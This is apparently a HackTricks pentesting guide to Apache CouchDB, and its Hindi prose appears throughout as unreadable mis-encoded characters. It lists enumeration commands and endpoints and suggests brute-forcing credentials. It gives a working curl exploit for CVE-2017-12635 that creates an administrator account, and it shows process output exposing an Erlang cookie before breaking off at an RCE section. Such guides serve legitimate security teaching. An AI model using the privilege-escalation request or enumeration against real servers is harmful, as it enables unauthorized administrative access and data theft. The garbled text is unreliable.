5984,6984 - Pentesting CouchDB

Support HackTricks

рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА

CouchDB рдПрдХ рдмрд╣реБрдкрд░рдХрд╛рд░реА рдФрд░ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝-рдЙрдиреНрдореБрдЦ рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдЬреЛ рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рддреНрдпреЗрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдХреА-рдорд╛рди рдорд╛рдирдЪрд┐рддреНрд░ рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИред рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдлрд╝реАрд▓реНрдб рдХреЛ рдХреА/рдорд╛рди рдЬреЛрдбрд╝реЗ, рд╕реВрдЪрд┐рдпреЛрдВ, рдпрд╛ рдорд╛рдирдЪрд┐рддреНрд░реЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣рдг рдФрд░ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдореЗрдВ рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

CouchDB рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкреНрд░рддреНрдпреЗрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реНрддрд░ рдкрд░ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ (_id) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХрд┐рдП рдЧрдП рдФрд░ рд╕рд╣реЗрдЬреЗ рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрд╢реЛрдзрди рдХреЛ рдПрдХ рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛ (_rev) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рдХреБрд╢рд▓ рдЯреНрд░реИрдХрд┐рдВрдЧ рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдХреА рдЖрд╕рд╛рди рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдФрд░ рд╕рдордиреНрд╡рдп рдХреА рд╕реБрд╡рд┐рдзрд╛ рд╣реЛрддреА рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрдгрдирд╛

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

рдореИрдиреБрдЕрд▓ рдПрдиреНрдпреВрдорд░реЗрд╢рди

рдмреИрдирд░

curl http://IP:5984/

рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд CouchDB рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ GET рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред рдЙрддреНрддрд░ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк couchdb рдХреА рд░реВрдЯ рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЛ 401 Unauthorized рдорд┐рд▓рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐: {"error":"unauthorized","reason":"Authentication required."} рдЖрдк рдмреИрдирд░ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреЗред

Info Enumeration

рдпреЗ рд╡реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк GET рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк couchdb рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЕрдзрд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

  • /_active_tasks рдЪрд▓ рд░рд╣реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реВрдЪреА, рдЬрд┐рд╕рдореЗрдВ рдХрд╛рд░реНрдп рдХрд╛ рдкреНрд░рдХрд╛рд░, рдирд╛рдо, рд╕реНрдерд┐рддрд┐ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ID рд╢рд╛рдорд┐рд▓ рд╣реИред

  • /_all_dbs CouchDB рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕реВрдЪреА рд▓реМрдЯрд╛рддрд╛ рд╣реИред

  • /_cluster_setup рдиреЛрдб рдпрд╛ рдХреНрд▓рд╕реНрдЯрд░ рдХреА рд╕реНрдерд┐рддрд┐ рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯрдЕрдк рд╡рд┐рдЬрд╝рд╛рд░реНрдб рдХреЗ рдЕрдиреБрд╕рд╛рд░ред

  • /_db_updates CouchDB рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдШрдЯрдирд╛рдУрдВ рдХреА рд╕реВрдЪреА рд▓реМрдЯрд╛рддрд╛ рд╣реИред рдЗрд╕ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП _global_changes рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

  • /_membership рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рдХреЛ cluster_nodes рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдлрд╝реАрд▓реНрдб all_nodes рдЙрди рд╕рднреА рдиреЛрдбреНрд╕ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ рдиреЛрдб рдХреЛ рдкрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

  • /_scheduler/jobs рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реВрдЪреАред рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рд╡рд┐рд╡рд░рдг рдореЗрдВ рд╕реНрд░реЛрдд рдФрд░ рд▓рдХреНрд╖реНрдп рдЬрд╛рдирдХрд╛рд░реА, рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ ID, рд╣рд╛рд▓ рдХреА рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕, рдФрд░ рдХреБрдЫ рдЕрдиреНрдп рдЪреАрдЬреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВрдЧреАред

  • /_scheduler/docs рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд░рд╛рдЬреНрдпреЛрдВ рдХреА рд╕реВрдЪреАред рд╕рднреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╢рд╛рдорд┐рд▓ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ completed рдФрд░ failed рд░рд╛рдЬреНрдпреЛрдВ рдореЗрдВ рднреАред рдкреНрд░рддреНрдпреЗрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рд▓рд┐рдП рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ ID, рдбреЗрдЯрд╛рдмреЗрд╕, рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ ID, рд╕реНрд░реЛрдд рдФрд░ рд▓рдХреНрд╖реНрдп, рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рд▓реМрдЯрд╛рддрд╛ рд╣реИред

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} /_node/{node-name} рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рд╕рд░реНрд╡рд░ рдХреЗ Erlang рдиреЛрдб рдирд╛рдо рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ /_node/_local рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдкрд░ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИред

  • /_node/{node-name}/_stats _stats рд╕рдВрд╕рд╛рдзрди рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИред рд╢рд╛рдмреНрджрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ _local рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рднреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА URL рдХреЗ рд▓рд┐рдП, {node-name} рдХреЛ _local рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддрд╛рдХрд┐ рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдХреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЬрд╛ рд╕рдХреЗред

  • /_node/{node-name}/_system _systemresource рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо-рд╕реНрддрд░реАрдп рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИ_._ рдЖрдк рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП {node-name} рдХреЗ рд░реВрдк рдореЗрдВ ___local рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

  • /_node/{node-name}/_restart

  • /_up рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЪрд╛рд▓реВ рд╣реИ, рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИред рдпрджрд┐ maintenance_mode true рдпрд╛ nolb рд╣реИ, рддреЛ рдПрдВрдбрдкреЙрдЗрдВрдЯ 404 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рдПрдЧрд╛ред

  • /_uuids CouchDB рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдпреВрдирд┐рд╡рд░реНрд╕рд▓реА рдпреВрдирд┐рдХ рдЖрдЗрдбреЗрдВрдЯрд┐рдлрд╛рдпрд░ (UUIDs) рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред

  • /_reshard рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рдкреБрдирдГрд╢рд╛рд░реНрджрди рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рд╕рд╛рде рдкреВрд░реНрдг, рд╡рд┐рдлрд▓, рдЪрд▓ рд░рд╣реЗ, рд░реБрдХреЗ рд╣реБрдП, рдФрд░ рдХреБрд▓ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд▓реМрдЯрд╛рддрд╛ рд╣реИред

рдпрд╣рд╛рдБ рд╕рдордЭрд╛рдП рдЧрдП рдЕрдиреБрд╕рд╛рд░ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИ: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

рдпрджрд┐ рд╡рд╣ рдЕрдиреБрд░реЛрдз 401 рдЕрдирдзрд┐рдХреГрдд рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

curl -X GET http://user:password@IP:5984/_all_dbs

Valid Credentials рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╕реЗрд╡рд╛ рдХреЛ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХрд░реЗрдВ.

рдпрд╣ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдПрдХ couchdb рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП (рдпрд╣ рдХреЗрд╡рд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдПрдХ рд╕реВрдЪреА рд╣реИ):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

рдЖрдк рдХреБрдЫ рдбреЗрдЯрд╛рдмреЗрд╕ рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдФрд░ рдЖрдХрд╛рд░) рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╛рдо рддрдХ рдкрд╣реБрдБрдЪрдХрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реВрдЪреА

рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкрдврд╝реЗрдВ

рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреА рд╕рд╛рдордЧреНрд░реА рдкрдврд╝реЗрдВ:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Erlang рдФрд░ JavaScript JSON рдкрд╛рд░реНрд╕рд░реНрд╕ рдХреЗ рдмреАрдЪ рдХреЗ рдЕрдВрддрд░ рдХреЗ рдХрд╛рд░рдг рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ hacktricks:hacktricks рд╣реИрдВ:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ.

CouchDB RCE

Erlang рдХреБрдХреА рд╕реБрд░рдХреНрд╖рд╛ рдЕрд╡рд▓реЛрдХрди

рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ рд╕реЗ.

CouchDB рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯ-рдЕрдк рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдиреБрднрд╛рдЧ рдореЗрдВ (рд▓рд┐рдВрдХ), рдХреНрд▓рд╕реНрдЯрд░ рдореЛрдб рдореЗрдВ CouchDB рджреНрд╡рд╛рд░рд╛ рдкреЛрд░реНрдЯ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рд╣реИред рдЗрд╕рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐, рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди рдореЛрдб рдХреА рддрд░рд╣, рдкреЛрд░реНрдЯ 5984 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреЛрд░реНрдЯ 5986 рдиреЛрдб-рд╕реНрдерд╛рдиреАрдп APIs рдХреЗ рд▓рд┐рдП рд╣реИ, рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ, Erlang рдХреЛ Erlang рдкреЛрд░реНрдЯ рдореИрдкрд░ рдбреЗрдорди (EPMD) рдХреЗ рд▓рд┐рдП TCP рдкреЛрд░реНрдЯ 4369 рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ Erlang рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рднреАрддрд░ рдиреЛрдб рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрдЕрдк рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдиреЛрдб рд╣рд░ рдЕрдиреНрдп рдиреЛрдб рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд▓рд┐рдВрдХ рд╣реЛрддрд╛ рд╣реИред

рдкреЛрд░реНрдЯ 4369 рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрджрд┐ рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдпрд╛ рдХрд┐рд╕реА рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╕реБрд▓рдн рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдкрд░ рднрд╛рд░реА рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ "рдХреБрдХреА" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреБрдХреА рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рджрд┐рдП рдЧрдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реВрдЪреА рдореЗрдВ, "monster" рдирд╛рдордХ рдХреБрдХреА рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдврд╛рдВрдЪреЗ рдореЗрдВ рдЗрд╕рдХреА рд╕рдВрдЪрд╛рд▓рди рднреВрдорд┐рдХрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИред

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдпрд╣ рд╕рдордЭрдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ "рдХреБрдХреА" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ Remote Code Execution (RCE) рдХреЗ рд▓рд┐рдП Erlang рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдЖрдЧреЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд░реНрдкрд┐рдд рдЕрдиреБрднрд╛рдЧ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рдЕрдирдзрд┐рдХреГрдд рддрд░реАрдХреЛрдВ рд╕реЗ Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ 